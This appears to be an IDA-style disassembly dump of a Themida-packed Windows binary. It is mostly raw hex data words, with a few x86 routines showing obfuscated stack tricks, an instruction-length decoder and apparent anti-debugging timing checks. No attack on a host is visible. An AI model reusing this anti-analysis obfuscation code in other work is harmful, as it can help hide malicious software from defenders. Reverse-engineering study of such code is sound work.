0D9B1FFFAh, 340D23B7h, 8E6A8014h, 0EBCAE074h, 522D43D7h dd 23C9A236h, 9F334F2Ah, 0FD91AF89h, 5FF309E7h, 0C0546C49h dd 1BE05D0Dh, 0B713AB08h, 668DA72h, 0CAB0CF41h, 56673C4Eh dd 0C8265E7Ch, 0BDC3E8C2h, 4A3C3C86h, 69BB40BDh, 0AE171442h dd 3AACFC55h, 6C986F2Bh, 688A9C20h, 4F2A7552h, 0D4A2DA33h dd 0DAA8E0F6h, 0DCAAE200h, 3395E501h, 4234C1B6h, 12248D14h dd 87A37E4Ch, 8EA2814Fh, 92AC8856h, 93B38C5Ah, 0A30B845Bh dd 93F2D653h, 178013ABh, 305029C7h, 97177D9Ch, 683E547h dd 13A89B71h, 696274DDh, 13A89B9Eh, 0ED8BDB44h, 0CDE7C312h dd 8FA1FA95h, 0FF1EFBC9h, 34108819h, 67FB543Dh, 2E795696h dd 68033B4Fh, 21AAC80Fh, 0FE18F492h, 67799972h, 165D5144h dd 9A957D4Eh, 5BE55FE5h, 78h, 0EAFEDD7Bh, 596B7F5Eh, 0B3309284h dd 1442A0CCh, 0EC0F218Ah, 92BE05A9h, 42A06E15h, 7150EC14h dd 0EB900D5Dh, 671442A0h, 925EA5FEh, 0C6FE18F4h, 0E23B192Bh dd 0D5D7D56h, 6779936Fh, 18F49292h, 192BC6FEh, 30920419h dd 38D7C3BEh, 0B41F1DAFh, 14429ECFh, 21597550h, 40CC3586h dd 78134B63h, 409466h, 0A81A0000h, 26F863AFh, 0DDA21F9Ah dd 7914426Ah, 0D0A5B710h, 1F66484Dh, 51CE3092h, 1442A0AAh dd 754FB828h, 49B4D9B8h, 5C23A0F0h, 0FA1442B2h, 0F1867F91h dd 1C1442B2h, 3992EE35h, 165D7D56h, 424D5B70h, 219F1C6Ch dd 7013A68Bh, 8CEA910Eh, 0FF6813A6h, 6DA50EEDh, 0A68C3FC0h dd 647A5813h, 37805E2Ch, 6F0A425Ah, 7AFDDE16h, 1D2E86CAh dd 53D03269h, 13A68CACh, 2061C12Ah, 5880DB28h, 0B6492436h dd 1FD87749h, 1CFh, 67474D48h, 0A0ED9A17h, 10791442h, 152D0AD8h dd 7956B081h, 21AA1A61h, 1F66484Dh, 9A957D4Eh, 5BE55FE5h dd 3Ah, 1B209284h, 0C2DC54D2h, 464F7284h, 0E43D5B35h, 6E15929Dh dd 0EC1442A0h, 30923C83h, 0E7D672BEh, 0C6D86E0Ah, 5D7D56F1h dd 0FB209216h, 394A3435h, 8BA0A0B2h, 579Eh, 484D2D00h dd 30921F66h, 42A0CCB3h, 5B714F14h, 0CE378823h, 9A61DEBCh dd 0F71442A0h, 0B1E9FFDDh, 0B6DBD16h, 42A0E98Eh, 0EFC96514h dd 0A5FE99D1h, 3992BE93h, 619F492h, 42A0F289h, 9EF76014h dd 9FB9CB66h, 705FA6C6h, 7552F052h, 1F8A255Dh, 1442A058h dd 0A67B8DF6h, 0F370474Dh, 1442A00Ch, 0B80861CAh, 0F1EBE456h dd 675B0FACh, 0EB35C55h, 0CE401442h, 561F508Ah, 698761FDh dd 2B3D9631h, 2193E34Ch, 0EBC864B9h, 0E5FD73D3h, 3D0BD1E3h dd 0DAB44860h, 5AE89168h, 11ECCF3Fh, 9B71E2F4h, 0F5CADC35h dd 115F492h, 21C2EC9h, 0AAC60D25h, 0B9209221h, 934CF2B3h dd 9AFB1E30h, 7D4ECD14h, 5FE59A95h, 545BE5h, 4D840000h dd 921F6648h, 9CB69230h, 0BEB7C964h, 1442A039h, 92E52C95h dd 99B99230h, 7D56B287h, 0C13E4D2Ah, 1442A03Ah, 7DD62F98h dd 64B58F2Dh, 9A356D89h, 0E26E0941h, 16B1E909h, 20922F04h dd 7D1F58E6h, 0A9A9BB86h, 539E94h, 86240000h, 0BC578FABh dd 3092D5AAh, 42A0CCB3h, 13EE8A14h, 0CB24BFF7h, 0AFFF96B9h dd 0CDE3C15Fh, 1592E6BBh, 1442A06Eh, 927DC4ABh, 0AA51CE30h dd 281442A0h, 92D8ADBFh, 0A0CCB330h, 218A1442h, 0FC1CF50Fh dd 1C2092B5h, 0A538557Fh, 82BAD2AFh, 7C7C8EE7h, 0DD9E67h dd 922D0000h, 0A0CCB330h, 714F1442h, 3788235Bh, 0FB99BCCEh dd 2A8AA480h, 112D0CE0h, 0C2126B4Eh, 4276B645h, 0D6B32514h dd 0B2C63501h, 0D63F1E30h, 0DBF3D09Eh, 0D7AC298Bh, 831442DFh dd 15E6081Ah, 0FB1BF492h, 0FC1628C3h, 92C0071Fh, 2F38F620h dd 13EC3EC1h, 0C720BBF3h, 4D66EFB5h, 78166648h, 0AD48809Eh dd 0F492C69Bh, 7D9BFB1Bh, 0E728ACF2h, 7B4C6E80h, 5FE59A95h dd 2A5BE5h, 4D840000h, 921F6648h, 42A06E15h, 3C83EC14h dd 7D563992h, 5270165Dh, 88C0D6B4h, 0A7BEE2E6h, 90E9039Bh dd 389EA97Eh, 2D000000h, 1666484Dh, 4A829C78h, 92C89DAFh dd 0C3FB1BF4h, 0C80018F5h, 0E4C2D42Dh, 42A09067h, 0CF16FD14h dd 7D563992h, 2EAB0D5Dh, 1442A049h, 9DD5EDCAh, 3648B102h dd 565B7061h, 5B296179h, 0BDD3677Dh, 0E390C8E0h, 1442A01Ah dd 9689BD94h, 0F70DA1B9h, 38CA021Ah, 3F5F38D6h, 42A02FD4h dd 4D3BAB14h, 0AB9BC27h, 9BC6D831h, 0D292F7A4h, 0E2768E6Bh dd 92E2CCC3h, 0A6419715h, 447CE513h, 0A656E497h, 12526313h dd 771B956Ah, 8A6503D8h, 2FBD5C6Eh, 0E6000000h, 0FC1AF492h dd 0DBF3D0EAh, 3DAF11A3h, 36E19A6Eh, 0F68DF8E0h, 64144224h dd 0BF0E9FBh, 0A3144224h, 0C8A598CCh, 0E9C260B0h, 0E4F691C9h dd 7956F1C2h, 0A016ED6Ah, 5BC41442h, 9CF3CA02h, 9145C212h dd 4313AB08h, 0FA6C46DAh, 70D78AEAh, 0E90C1E11h, 56B808A6h dd 0DAFF19E4h, 64B4DA00h, 0ABBA10E7h, 4355BE13h, 4F914C4Ah dd 79B11A14h, 730885E7h, 0DF1B8FE6h, 0F70BEA76h, 0E613ECE5h dd 0A7B81B8Fh, 0DD5ABCFFh, 1B8FE626h, 5E394BB4h, 0D08ECBA1h dd 657B59F7h, 1CB453h, 4DDD0000h, 9A176747h, 1442A0F5h dd 66C81881h, 0C2D4EAC8h, 1EB2CCA8h, 1250h, 474DDF00h dd 0F19A1767h, 7D1442A0h, 4A26C414h, 9ECB9C30h, 19Bh, 69454D2Dh dd 0A618AA22h, 4D698C24h, 380D1FB8h, 532E7956h, 4E97DE37h dd 0E59A957Dh, 465BE55Fh, 84000000h, 115F492h, 0E8C6CCEFh dd 6E1592A1h, 0EC1442A0h, 6D527550h, 0F42A0A85h, 458CE53Eh dd 30CE3092h, 65003856h, 42A005FAh, 0DC68D114h, 0FED3E501h dd 19607A56h, 0B7342092h, 9976BF6Dh, 9E728787h, 57h, 1BF4922Dh dd 9DD5E9C8h, 0D671A902h, 0BDF1A1C4h, 83209276h, 5605BCF2h dd 2B8D6B7Dh, 5A8DB48Dh, 43826D52h, 0F8F1035Ch, 1442A403h dd 0B957A78Eh, 0D9AEC0E0h, 20923992h, 0E6127BD9h, 0DEF80AFFh dd 92A1E802h, 0EE0016F4h, 0F16ED0EEh, 1442A00Ah, 4596B28Dh dd 56F5CADCh, 0AA1A6179h, 66484D21h, 927D4E1Fh, 9DFD19F4h dd 52FFDBCCh, 633E505Fh, 0E55F5ECCh, 3A49h, 484D7200h dd 15921F66h, 1442A06Eh, 953383ECh, 0CC679FB9h, 3992E5BAh dd 115F492h, 21C2EC9h, 92C20929h, 880A4F20h, 7B8D517Dh dd 0E2BF5D7Bh, 0E5F792CAh, 209E10h, 4D2D0000h, 921F6648h dd 42A06E15h, 7DC4AB14h, 0B4923092h, 0BB98669Eh, 63384AA3h dd 165D7D56h, 0F4925B70h, 0F388051Ah, 5F1442A0h, 0D04D9DF6h dd 1442A02Bh, 122C3EA7h, 39E61E34h, 1442A047h, 0A3DBF7D2h dd 0FCFD0101h, 490B298h, 99D81026h, 0BEDE92D2h, 3816093Dh dd 2F60D222h, 8C59E8DFh, 96A35222h, 4311D736h, 0C08176F3h dd 0E44D1442h, 64D6B0D2h, 0D9F0AA2Fh, 359FB2FAh, 0DB66A303h dd 56C59AACh, 5C2A6278h, 0F230687Eh, 24027D29h, 0BB857A0Eh dd 911442AAh, 5C12BA44h, 0FE4719E0h, 7742FFFFh, 1442A084h dd 42A0CF30h, 0A0956914h, 5A251442h, 0DE1442A0h, 1442A01Dh dd 42A0E497h, 456926D4h, 1CF593F5h, 19F6C4FCh, 0D52EC901h dd 8C63CAC3h, 8EF0D3A5h, 0A58C6A11h, 0CAF7D9D3h, 0E4CFA0A2h dd 5DDA2A93h, 0D3A525A6h, 0DAB9CB34h, 2D623971h, 5DCF3181h dd 3AA9E8F6h, 817A8C97h, 0D441502Bh, 0F96CC029h, 4AA233DDh dd 25E840Ah, 0AD850000h dd 8E1F78Bh, 623E54E8h, 0BF9EB448h, 260117ABh, 579D760Ah dd 730723FEh, 0D165835Dh, 33C7DDBBh, 9428401Dh, 0CFB431E1h dd 8B13AB10h, 7956B746h, 98731161h, 97A9447Ch, 1295FAD1h dd 30443427h, 532CB869h, 760FB33h, 0DEB755B7h, 0EFB3ACBEh dd 0AE13AB48h, 91B3310h, 617ABA2Ah, 90C8DCBBh, 0BB9C95F5h dd 0FFD96DC6h, 30688861h, 0F18A8395h, 5E13AB35h, 0EAEF19ECh dd 66C707FAh, 6394F483h, 56798B62h, 0A8257539h, 14427B04h dd 0F795E54Eh, 40B2021Ah, 0DDDEA065h, 658799BDh, 0A5A724Fh dd 66788E6Ch, 5E00F3A0h, 58A1B91h, 0CDC59A9h, 0DF1C78F6h dd 75A3A26Dh, 0EE006916h, 0B856A60Fh, 192FC3DBh, 15EC243Ch dd 72E4347Ah, 70A562Dh, 2B091B9Fh, 1693E6AEh, 0B43AC04h dd 3535B34h, 0C432286h, 77C7300Ch, 94E4FCD9h, 0C90119F6h dd 0E4FA1C2Eh, 0C6E0BC07h, 0F788356Dh, 1733D256h, 69E63678h dd 343A0EB1h, 0EBC2FA63h, 0E1FBD7A4h, 65B50EA9h, 0DC1A12E8h dd 357C03Ch, 3AA12B6Ch, 3525ABEBh, 0AE000001h, 0A20B4D6h dd 677D1131h, 0C7DD718Bh, 2A40D4E8h, 0C69F334Fh, 304C2720h dd 8EAC869Ch, 0F006E4FAh, 5169465Ch, 0DD5A0ABDh, 13AB1126h dd 4DE06FB4h, 9F1C6C42h, 13AB08FBh, 21F83099h, 73F0406Eh dd 144F00F9h, 263E1BB7h, 3A0079CDh, 2B6B6232h, 0DFA5h dd 0A2C0400h, 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h dd 7DD61CF5h, 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh dd 114C33B0h, 0C50A13ABh, 15F49236h, 0A0F68D0Ah, 0FB641442h dd 0BDCF6AA2h, 69B9F59Ah, 0AB083CECh, 3585EE13h, 8C9EBE97h dd 0FC1BF8C6h, 0BDE2ABF1h, 0D8288178h, 0E465C3Ah, 293F6173h dd 9E802D4Ch, 0D4BB2ED3h, 236C437Bh, 0EEBE3B8Bh, 641442E6h dd 785167FBh, 906A0858h, 283E6072h, 889E324Ch, 0EB0195A9h dd 42A4F410h, 91283EC5h, 21339C1Bh, 0F20EE9FFh, 506E485Eh dd 0B2C8A6BCh, 132B081Eh, 718F697Fh, 0DDD1BEDDh, 8FBC108Dh dd 19B71C78h, 4DE82040h, 0E2C05C3Bh, 6D3B73CCh, 0AE47890h dd 68468D6Ch, 26C1F952h, 0A4214h, 2AC80000h, 5EF93151h dd 3E8D774Ch, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h dd 0E18951EEh, 4C181h, 0E9830000h, 240C8704h db 8Bh, 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 1815h mov [esp], ebp push ebp push 74B2147h pop ebp neg ebp add ebp, 0F34C9A2h mov edx, ebp mov ebp, [esp] add esp, 4 push esp mov ebp, [esp] add esp, 4 push 2017h mov [esp], ebx mov ebx, 8 add ebx, ebp mov [ebx], edx pop ebx mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- dd 0DE88D87Bh, 0E9B2B2B8h, 8BC50307h, 1C8E9C3h, 88880000h dd 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 30000h, 14h dup(0) dd 8C20000h, 75736600h, 0FE80h, 11h dup(0) dd 53E90000h db 3, 2 dup(0) byte_5DD9AB db 55h ; DATA XREF: Themida_:005844C8o dd 0E8h, 0ED815D00h, 7E9B526h, 7385C760h, 7E9B4h, 66000000h dd 0A1663E81h, 0F850Fh, 85C70000h, 7E9B477h, 6, 24E9h dd 7B858D00h, 5007E9B4h, 0B4CB858Dh, 565007E9h, 1DE8006Ah dd 83000000h, 0FF2510C4h, 89000000h, 0E9B47785h, 0B5036107h dd 7E9B477h, 0B473858Bh, 0C35D07E9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5DDA3D mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5DDA49 ; --------------------------------------------------------------------------- loc_5DDA3D: ; CODE XREF: Themida_:005DDA26j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5DDA49: ; CODE XREF: Themida_:005DDA38j push ebx push esi push edi loc_5DDA4C: ; CODE XREF: Themida_:005DDAA1j ; Themida_:005DDABDj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5DDA5F: ; CODE XREF: Themida_:005DDA86j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 7E9B5DDh lea ebp, [ebp+7E9B453h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5DDA8C inc cl cmp cl, 0Bh jb loc_5DDA5F loc_5DDA8C: ; CODE XREF: Themida_:005DDA7Bj cmp cl, 0Bh jz loc_5DDAE9 cmp al, 66h jnz loc_5DDACA cmp byte ptr [ebp-5], 0 jnz loc_5DDA4C cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5DDAC2 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5DDA4C ; --------------------------------------------------------------------------- loc_5DDAC2: ; CODE XREF: Themida_:005DDAAFj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5DDACA: ; CODE XREF: Themida_:005DDA97j cmp al, 67h jnz loc_5DDA4C cmp byte ptr [ebp-6], 0 jnz loc_5DDA4C xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5DDA4C ; --------------------------------------------------------------------------- loc_5DDAE9: ; CODE XREF: Themida_:005DDA8Fj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5DDB15 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5DDB1A ; --------------------------------------------------------------------------- loc_5DDB15: ; CODE XREF: Themida_:005DDAF4j movzx edi, al shr edi, 1 loc_5DDB1A: ; CODE XREF: Themida_:005DDB10j push ebp call $+5 pop ebp sub ebp, 7E9B695h lea ebp, [ebp+7E9B353h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5DDC9C mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5DDBE0 dec ecx jz loc_5DDBC3 dec ecx jnz loc_5DDC33 cmp byte ptr [ebp-2], 0 jnz loc_5DDC2F cmp byte ptr [ebp-5], 0 jz loc_5DDBA2 mov byte ptr [ebp+0Bh], 2 loc_5DDBA2: ; CODE XREF: Themida_:005DDB98j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 7E9B721h mov dword ptr [ebp+7E9B473h], 1 pop ebp jmp loc_5DDC33 ; --------------------------------------------------------------------------- loc_5DDBC3: ; CODE XREF: Themida_:005DDB7Dj cmp byte ptr [ebp-2], 0 jnz loc_5DDC0D cmp byte ptr [ebp-5], 0 jz loc_5DDC0D mov byte ptr [ebp+0Bh], 2 jmp loc_5DDC0D ; --------------------------------------------------------------------------- loc_5DDBE0: ; CODE XREF: Themida_:005DDB76j cmp byte ptr [ebp-2], 0 jnz loc_5DDC26 cmp byte ptr [ebp-5], 0 jz loc_5DDC15 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5DDC0D mov [ebp+0Bh], cl loc_5DDC0D: ; CODE XREF: Themida_:005DDBC7j ; Themida_:005DDBD1j ... inc byte ptr [ebp+0Bh] jmp loc_5DDC33 ; --------------------------------------------------------------------------- loc_5DDC15: ; CODE XREF: Themida_:005DDBEEj cmp dl, 5 jnz loc_5DDC33 mov [ebp+0Bh], dl jmp loc_5DDC33 ; --------------------------------------------------------------------------- loc_5DDC26: ; CODE XREF: Themida_:005DDBE4j cmp dl, 6 jnz loc_5DDC33 loc_5DDC2F: ; CODE XREF: Themida_:005DDB8Ej mov byte ptr [ebp+0Bh], 3 loc_5DDC33: ; CODE XREF: Themida_:005DDB84j ; Themida_:005DDBBEj ... dec byte ptr [ebp+0Bh] jz loc_5DDC61 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5DDC43: ; CODE XREF: Themida_:005DDC59j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5DDC43 mov esi, edx loc_5DDC61: ; CODE XREF: Themida_:005DDC36j and al, 0FEh cmp al, 0F6h jnz loc_5DDC96 cmp edi, 7Fh ja loc_5DDC96 test bl, 38h jnz loc_5DDC96 cmp byte ptr [ebp-7], 0 jz loc_5DDC90 movzx eax, byte ptr [ebp-4] jmp loc_5DDC93 ; --------------------------------------------------------------------------- loc_5DDC90: ; CODE XREF: Themida_:005DDC81j push 1 pop eax loc_5DDC93: ; CODE XREF: Themida_:005DDC8Bj mov [ebp-1], al loc_5DDC96: ; CODE XREF: Themida_:005DDC65j ; Themida_:005DDC6Ej ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5DDC9C: ; CODE XREF: Themida_:005DDB46j mov al, bl and eax, 7 sub eax, 4 jz loc_5DDCC7 dec eax dec eax jz loc_5DDCBD and bl, 7 add [ebp-1], bl jmp loc_5DDCCF ; --------------------------------------------------------------------------- loc_5DDCBD: ; CODE XREF: Themida_:005DDCACj mov al, [ebp-3] add al, 6 jmp loc_5DDCCC ; --------------------------------------------------------------------------- loc_5DDCC7: ; CODE XREF: Themida_:005DDCA4j mov al, [ebp-3] add al, 4 loc_5DDCCC: ; CODE XREF: Themida_:005DDCC2j add [ebp-1], al loc_5DDCCF: ; CODE XREF: Themida_:005DDCB8j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5DDCF7 movzx ecx, byte ptr [ebp-1] inc ecx loc_5DDCE2: ; CODE XREF: Themida_:005DDCF1j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5DDCE2 loc_5DDCF7: ; CODE XREF: Themida_:005DDCD7j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dw 858Dh dd 7E9B520h, 203D8589h, 5E807E4h, 0B5000000h, 1AC02E28h dd 5884E380h, 6DEBC081h, 0F600000h, 58Bh, 0E9816600h, 8B663318h dd 6861CEh, 80000000h, 0B55EB9DBh, 634FF5Fh, 14E8h, 7B3A0900h dd 7C9B8627h, 0B1D94547h, 0CC43ACADh, 0C27DF0ACh, 5AB1B272h dd 0CAB70F5Fh, 0D9F6F781h, 41B7541Ch, 6E35F781h, 11E95BD5h dd 0B4000000h, 9453EA9Dh, 0B5DF6F66h, 25AA1C3Dh, 0A415E232h dd 0F44CEF81h, 8B93D1Bh, 575197BDh, 5F88B966h, 8030048Fh dd 81660AE1h, 838F6CE9h, 81F504EEh, 0FF92B0FEh, 8E850FFFh dd 0FFFFFFFh, 66E9CEBFh, 60000002h, 0F6D98C66h, 840F04C1h dd 35h, 0B5FF016Ah, 7E4019Dh, 0B0A7858Dh, 0D0FF07E7h, 0FA58589h dd 0FE8B07E4h, 680CEFC1h, 20060000h, 26A006Ah, 0D6857h dd 95FF0001h, 7E40FA5h, 32E9h, 2D85C600h, 5607E42Ch, 0C530DF68h dd 41B5FFA9h, 8D07E421h, 0E7B0A785h, 89D0FF07h, 0E40B5D85h dd 0E5858D07h, 5007E41Ch, 56A406Ah, 5D95FF56h, 6107E40Bh dd 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 0B9A68589h, 428B07E9h, 9E85890Ch dd 8B07E9B9h, 85891042h, 7E9B9A2h, 0B9DCB58Dh, 858D07E9h dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 0E9B9A6B5h, 9E858B07h dd 8307E9B9h, 0E9B9A2BDh, 840F0007h, 7, 2E90689h, 88000000h dd 0CF06h, 0 db 2 dup(0) aRlLbIejSNSNebo db 'RΤ`B',8,' ¦Ήι',7,'΅-Ίι',7,' ‘[',0 ; DATA XREF: Themida_:0058488Co db 0FFh dd 8B5A61D0h, 0E9B9A685h, 4C207h, 0B9A6858Bh, 8B07E9h dd 0B9A68589h, 0CF07E9h db 3 dup(0) byte_5DDECB db 60h ; DATA XREF: Themida_:00582F14o dd 0BA03B589h, 858907E9h, 7E9B9FFh, 2E5858Dh, 408B07E4h dd 3C858944h, 8D07E9BAh, 0E9BA72B5h, 0A1858D07h, 0FF005B8Eh dd 858B61D0h, 7E9BA03h, 0FF9D8BC3h, 0F07E9B9h, 33C43B7h dd 785B8BD8h, 0B9FF9D03h, 738B07E9h, 0FFB50324h, 5607E9B9h dd 8B207B8Bh, 0BD031C73h, 7E9B9FFh, 0B9FFB503h, 83FC07E9h dd 8B41FFC9h, 0E9BA039Dh, 3178B07h, 0E9B9FF95h, 4C78307h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 0E9B9FF85h, 3858907h, 8B07E9BAh, 8BCE8BF0h dd 3CBD81C1h, 7E9BAh, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 7E9BA3Ch dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 3CBD8100h dd 7E9BAh, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 7E9BA3Ch, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0AA858DCFh dd 8907E9B9h, 0E4245585h, 40858D07h, 8907E9BAh, 0E40A8985h dd 7858D07h, 8907E9BAh, 0E4240185h, 13CE907h, 4Fh dup(0) dd 0BD830000h, 7E40101h, 5E840F01h, 0F000004h, 128Fh, 0C880F00h dd 0E9000000h, 7, 40A9F794h, 0C69C793Dh, 0E42C2D85h, 6A4307h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 66B8B5C3h, 0AF83E58Bh, 850FFE6Ah, 1Dh, 12E860h, 0F5150000h dd 4B2F21E3h, 8137E2B4h, 0B194851h, 1ECEDD81h, 0C7BF0F5Bh dd 0CB66061h, 9E8h, 9F9A8800h, 0AF3DE51h, 5E82AFFh, 67000000h dd 6AC05EAAh, 68615958h, 880DFD76h, 0E8605250h, 7, 367380EEh dd 5B944ADEh, 60310F61h, 5CABE66h, 81585A61h, 2D832434h dd 6A64A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0E98D8CC3h, 0Ah, 0DD951A37h, 7DCE7Ah, 0B5FF66D9h dd 7E42141h, 0CE9h, 0EEFA9400h, 6E60BFC8h, 819096E0h, 0A7858DF4h dd 6A07E7B0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 4F92C356h, 5D4E1BC6h, 0F8D0FFF8h dd 9558589h, 0C6F907E4h, 0E42C2D85h, 53605007h, 0BE8h dd 4E6F6F00h, 64C14829h, 6047B113h, 0D1815E5Eh, 1661D5E2h dd 0BAF56861h, 52505CB9h, 0E8DAB260h, 8, 5A44D694h, 393F35FBh dd 310F615Bh, 7E9h, 0AF52F400h, 0E99D6D63h, 481585Ah, 0F3F26124h dd 18F0F4Bh, 0F9000000h, 2141B5FFh, 840F07E4h, 16h, 11E9h dd 1830D400h, 8213DFDDh, 4D264B51h, 82B6FEF6h, 858DEAD6h dd 7E7B0A7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0D7C35747h, 0FFDB3812h, 8589FCD0h, 7E41E79h, 9E9h dd 4E929C00h, 4786AB76h, 576841FFh, 0E9EDA8A7h, 14h, 0AD58DF9Ch dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 583351DAh, 0D8240481h dd 0F02E700h, 18Ah, 0B5FFF900h, 7E42141h, 6E860h, 9C0E0000h dd 17E9ADDCh, 5B32E180h, 1870F61h, 0FC000000h, 0B0A7858Dh dd 0FFFC07E7h, 0AE9D0h, 0AD150000h, 0AA49B4C8h, 877672E0h dd 13BD8589h, 0C6F907E4h, 0E42C2D85h, 68F55007h, 9EDEBAAEh dd 5E515660h, 3481615Bh, 4266F824h, 108D0F09h, 0E9000000h dd 0Bh, 147601A4h, 0FFA17A9h, 0FF55B386h, 0E4019DB5h, 0F576007h dd 80h, 80605F00h, 6161E6F5h, 3BDC858Dh, 6A07E4h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0BF33BEC3h, 0E83FDE65h, 11E9h, 9DE65400h, 1CADE154h dd 174CA6FAh, 0D39DDF87h, 0D0FFBF86h, 33D28160h, 0E91D98FDh dd 8, 0C884030Bh, 0FDD03165h, 0B9858961h, 6007E418h, 6135B6F9h dd 174E9h, 88A0F00h, 60000000h, 0B966E8B4h, 50618190h dd 13E9h, 8CBE2500h, 53100136h, 74ACD05Ah, 0CA232565h dd 0C5545175h, 0F8242C89h, 6AEC8Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 4D8363C3h dd 0F880F71h, 0E9000000h, 0Ah, 2459909Eh, 4C4B8793h, 83F8C18Ah dd 6AFCC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0E4B3E7C3h, 15088E67h, 8A0F20B2h, 0Ah, 81DA8A60h dd 6D262FD1h, 0F606102h, 183h, 0E8F900h, 5A000000h, 0C090EA81h dd 45C707E9h, 0FCh, 1BA8300h, 107E401h, 98840Fh, 6A520000h dd 0FF0F6A00h, 0E4095592h, 82895A07h, 7E9BBB7h, 0BBBB9A8Dh dd 0C75207E9h, 12803h, 0FF505300h, 0E41E7992h, 8D525A07h dd 0E9BBBB9Ah, 0B2FF5307h, 7E9BBB7h, 18B992FFh, 0B5A07E4h dd 8D5074C0h, 0E9BBBB9Ah, 247B8D07h, 0F981C933h, 104h dd 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h dd 7E427BDh, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 27BD828Dh dd 0FF5007E4h, 0E413BD92h, 0C00B5A07h, 45C7A075h, 1FCh dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 8B0F0008h dd 1, 7E9F5h, 1D660000h, 0B8E4F603h, 0E8D28B9Fh, 5, 87F8F32h dd 69DF80ACh, 0FE8B665Eh, 